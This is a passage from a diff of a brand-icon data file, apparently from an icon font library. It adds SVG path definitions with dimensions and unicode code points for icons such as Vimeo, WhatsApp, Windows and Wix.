66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"], + "vimeo-v": [448, 512, [], "f27d", "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"], + "vine": [384, 512, [], "f1ca", "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"], + "vk": [576, 512, [], "f189", "M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z"], + "vnv": [640, 512, [], "f40b", "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"], + "vuejs": [448, 512, [], "f41f", "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"], + "watchman-monitoring": [512, 512, [], "e087", "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"], + "waze": [512, 512, [], "f83f", "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"], + "weebly": [512, 512, [], "f5cc", "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"], + "weibo": [512, 512, [], "f18a", "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"], + "weixin": [576, 512, [], "f1d7", "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"], + "whatsapp": [448, 512, [], "f232", "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"], + "whatsapp-square": [448, 512, [], "f40c", "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"], + "whmcs": [448, 512, [], "f40d", "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"], + "wikipedia-w": [640, 512, [], "f266", "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"], + "windows": [448, 512, [], "f17a", "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"], + "wix": [640, 512, [], "f5cf", "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"], + "wizards-of-the-coast": [640, 512, [], "f730", "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 